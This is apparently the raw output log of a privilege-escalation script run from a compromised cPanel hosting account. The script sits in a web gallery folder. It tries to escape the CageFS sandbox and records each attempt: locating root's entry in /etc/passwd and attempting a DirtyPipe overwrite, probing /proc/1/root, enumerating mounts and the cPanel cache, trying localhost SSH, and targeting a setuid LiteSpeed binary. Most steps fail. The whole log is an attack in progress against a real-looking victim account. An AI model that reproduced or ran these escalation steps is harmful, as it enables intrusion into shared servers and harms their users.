=== CAGEFS ESCAPE ATTEMPTS === --- Calculate root passwd offset --- root:x: found at offset: 860 x offset: 865 Context: root:x:0:0:root:/root:/bin/bash cpanelex Attempting DirtyPipe on /etc/passwd at offset 865... sh: line 1: /home/carewell/public_html/assets/img/gallery/dp: No such file or directory After: operator:x:11:0:operator:/root:/sbin/nologin root:x:0:0:root:/root:/bin/bash --- PROC ESCAPE --- ls: cannot access '/proc/1/root/': No such file or directory ls: cannot access '/proc/1/cwd/': No such file or directory --- CAGEFS MOUNT POINTS --- 71705 71704 0:22 / /dev/pts rw,nosuid,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=000 71706 71704 9:3 /usr/lib /lib ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71707 71704 9:3 /usr/lib64 /lib64 ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71708 71704 9:3 /opt /opt rw,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71746 71704 9:3 /usr/include /usr/include ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71747 71704 9:3 /usr/lib /usr/lib ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71748 71704 9:3 /usr/lib64 /usr/lib64 ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71749 71704 9:3 /usr/libexec/passenger /usr/libexec/passenger rw,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71750 71704 9:3 /var/log/apache2/domlogs /usr/local/apache/domlogs rw,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71751 71704 9:3 /usr/local/backuply /usr/local/backuply rw,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71752 71704 9:3 /usr/local/cpanel/3rdparty/bin /usr/local/cpanel/3rdparty/bin ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71753 71704 9:3 /usr/local/cpanel/3rdparty/lib /usr/local/cpanel/3rdparty/lib ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71754 71704 9:3 /usr/local/cpanel/3rdparty/lib64 /usr/local/cpanel/3rdparty/lib64 ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71755 71704 9:3 /usr/local/cpanel/3rdparty/perl /usr/local/cpanel/3rdparty/perl ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71756 71704 9:3 /usr/local/cpanel/3rdparty/php /usr/local/cpanel/3rdparty/php ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71757 71704 9:3 /usr/local/cpanel/3rdparty/share /usr/local/cpanel/3rdparty/share ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71758 71704 9:3 /usr/local/cpanel/3rdparty/wp-toolkit/local-server-tmp /usr/local/cpanel/3rdparty/wp-toolkit/local-server-tmp ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71759 71704 9:3 /usr/local/cpanel/3rdparty/wp-toolkit/plib/scripts/user-scripts /usr/local/cpanel/3rdparty/wp-toolkit/plib/scripts/user-scripts ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71760 71704 9:3 /usr/local/cpanel/3rdparty/wp-toolkit/plib/vendor/wp-cli /usr/local/cpanel/3rdparty/wp-toolkit/plib/vendor/wp-cli ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota 71761 71704 9:3 /usr/local/cpanel/Cpanel /usr/local/cpanel/Cpanel ro,nosuid,relatime - xfs /dev/md3 rw,attr2,inode64,logbufs=8,logbsize=32k,usrquota --- OTHER USERS --- --- CAGEFS PROXY --- sh: line 1: cagefsctl: command not found sh: line 1: proxyexec: command not found --- CPANEL API --- total 424 drwx------ 2 carewell carewell 4096 Mar 27 09:48 . drwx------ 11 carewell carewell 4096 Mar 27 10:00 .. -rw------- 1 carewell carewell 47892 Mar 18 09:07 AVAILABLE_APPLICATIONS_CACHE_en_jupiter -rw------- 1 carewell carewell 30 Feb 14 04:42 Cpanel::MysqlRun::running -rw-r----- 1 carewell carewell 130122 Jun 30 2023 Cpanel::PublicSuffix_default -rw-r--r-- 1 carewell carewell 53 Sep 17 2025 Cpanel::SPF::Include_default -rw------- 1 carewell carewell 3635 Mar 27 00:00 MOUNTS_CACHE__proc_mounts -rw------- 1 carewell carewell 28044 Mar 18 09:09 SYSTEMMIME -rw------- 1 carewell carewell 80 Mar 27 09:48 _Cpanel::Quota.pm__carewell -rw------- 1 carewell carewell 75 Jan 7 06:34 _bin_gem_environment_gempath -rw------- 1 carewell carewell 16659 Feb 12 14:52 _bin_gtar_--help -rw------- 1 carewell carewell 313 Feb 12 14:52 _bin_gtar_--version -rw------- 1 carewell carewell 136 Nov 10 12:46 _opt_cpanel_ea-php80_root_usr_bin_php_-n_-v -rw------- 1 carewell carewell 134 Jan 24 05:01 _opt_cpanel_ea-php81_root_usr_bin_php_-n_-v -rw------- 1 carewell carewell 555 Aug 8 2023 _usr_bin_perl_-v -rw------- 1 carewell carewell 1 Mar 18 09:08 _usr_local_cpanel_cpanel_-F -rw------- 1 carewell carewell 872 Mar 18 09:08 _usr_sbin_httpd_-V -rw------- 1 carewell carewell 55 Mar 18 09:08 _usr_sbin_httpd_-l -rw------- 1 carewell carewell 503 Mar 27 00:00 ftp_LISTSTORE -rw------- 1 carewell carewell 1 Nov 8 09:12 mysql-db-count -rw------- 1 carewell carewell 2 Nov 7 07:18 ports_GETSSHPORT -rw------- 1 carewell carewell 202 Mar 18 09:08 reseller_SORTEDRESELLERSUSERS_carewell -rw------- 1 carewell carewell 58802 Mar 18 09:07 ssl_FETCHINSTALLEDHOSTS --- LOCALHOST SSH --- carewell@127.0.0.1: Permission denied (publickey,gssapi-keyex,gssapi-with-mic,keyboard-interactive). --- DIRTYPIPE SUID TRICK --- -r-sr-xr-x 1 root root 246944 Dec 30 07:31 /usr/local/lsws/bin/lscgid.6.3.4 /home/carewell/public_html/assets/img/gallery/dp: cannot open `/home/carewell/public_html/assets/img/gallery/dp' (No such file or directory) DONE